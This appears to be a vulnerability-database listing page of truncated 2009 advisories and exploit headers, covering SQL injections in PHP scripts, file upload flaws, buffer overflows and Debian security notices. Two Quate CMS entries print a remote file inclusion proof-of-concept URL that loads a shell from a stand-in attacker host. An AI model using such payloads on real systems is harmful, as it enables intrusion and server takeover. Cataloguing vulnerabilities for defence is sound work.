Active PHP Bookmarks v1.3 SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================== Active PHP Bookmarks v1.3 SQL Injection Vulnerability ===================================================== Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability EDB-ID:...

Active PHP BookMarks 1.3 - SQL Injection

Active PHP BookMarks 1.3 - SQL Injection Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability EDB-ID: CVE-ID: OSVDB-ID: Author: Mr.Elgaarh Published: 2009-12-21 ============================================================= Author : Mr.Elgaarh Email : [email protected] Home :...

PDQ Script 1.0 <== [listingid] SQL Injection

Exploit for unknown platform in category web applications ============================================ PDQ Script 1.0 == listingid SQL Injection ============================================ +===================================================================================+ | | | PDQ Script 1.0 ...

Simplicity oF Upload 1.3.2 - Arbitrary File Upload

Exploit Title: Simplicity oF Upload 1.3.2 Remote File Upload Vulnerability Date: 20-12-2009 Author: Master Mind Software Link: http://www.phpsimplicity.com/scripts.php?id=3 Version: 1.3.2 CVE : N/A Tested on: Windows 2003 Server...

Active Photo Gallery 6.2 SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: Auth Bypass Remote SQL Injection Vulnerability‏ ? Vendor: www.activewebsoftwares.com ? ? Software: Active Photo Gallery v 6.2 ? ? author: R3d-D3v!L ? ? Date: 17.dec.2009 ? T!ME: 10:22 pm ? Home: WwW.xP10.M...

Mozilla crash with evidence of memory corruption

Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, SeaMonkey before 2.0.1, and Thunderbird allow remote attackers to cause a denial of service memory corruption and application crash or possibly execute arbitrary code via unknown...

Article Directory - SQL Injection

Article Directory - SQL Injection ? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe:Auth Bypass Remote SQL Injection Vulnerability ? Vendor: www.yourarticlesdirectory.com ? ? Software: Article Directory 5cR!P7 ? ? author: R3d D3v!L ? ? Date: 15.12.2009 ? ?...

Savant Web Server Remote Buffer Overflow Vulnerability

A remote buffer-overflow vulnerability affects Savant Web Server. This issue occurs because the application fails to validate the length of user-supplied strings before copying them into finite process buffers. A remote attacker may leverage this issue to execute arbitrary code with the privilege...

Digital Scribe <= 1.4.1 Multiple SQLi Vulnerabilities - Active Check

Digital Scribe is prone to multiple SQL injection SQLi vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C b...

Alqatari group 1.0 5.0 - id SQL Injection

Alqatari group 1.0 5.0 - id SQL Injection 1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id...

Alqatari Group 5.0 SQL Injection

1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id Remote SQL Injection Vulnerability...

Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Quate CMS 0.3.5 Local / Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Joomla Component com_lyftenbloggie Remote SQL injection vulnerability

No description provided by source. Joomla Component comlyftenbloggie Remote SQL injection vulnerability - author Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : November 11, 2009 Software Information + Vendor : http://www.lyften.com/ + Download :...

Joomla! Component com_gcalendar 1.1.2 - 'gcid' SQL Injection

\ \ / / / \ / | \ \ / / / \ / | / \ | \ | \ | | | \ | | | | | | | | |/ / \ V / | || | \ V / | - | | | - | | / | | | | | | / | | | | | . | | ' || / | || ||| | ||| ||\ |/ || ||\ || || ||| ||\ | """ ||"""""||"""""|| """...

ISC BIND DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability

ISC BIND is prone to a remote cache-poisoning vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:isc:bind";...

[SECURITY] [DSA 1938-1] New php-mail packages fix insufficient input sanitising

------------------------------------------------------------------------ Debian Security Advisory DSA-1938-1 [email protected] http://www.debian.org/security/ Steffen Joeris November 23, 2009 http://www.debian.org/security/faq -...

Home FTP Server 1.10.1.139 - 'SITE INDEX' Remote Denial of Service

Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability Date: 16 Nov 09 Author: zhangmc Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe Version: Home FTP Server 1.10.1.139 Tested on: relevant os Code : From: zhangmc mail...

Microsoft Word Record Parsing Remote Stack Buffer Overflow Vulnerability

Description Microsoft Word is prone to a remote stack-buffer overflow vulnerability. Attackers can exploit this issue by enticing victims into opening a specially crafted Word '.doc' file. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running th...

[SECURITY] [DSA 1925-1] New proftpd-dfsg packages fix SSL certificate verification weakness

------------------------------------------------------------------------ Debian Security Advisory DSA-1925-1 [email protected] http://www.debian.org/security/ Steffen Joeris October 31, 2009 http://www.debian.org/security/faq -...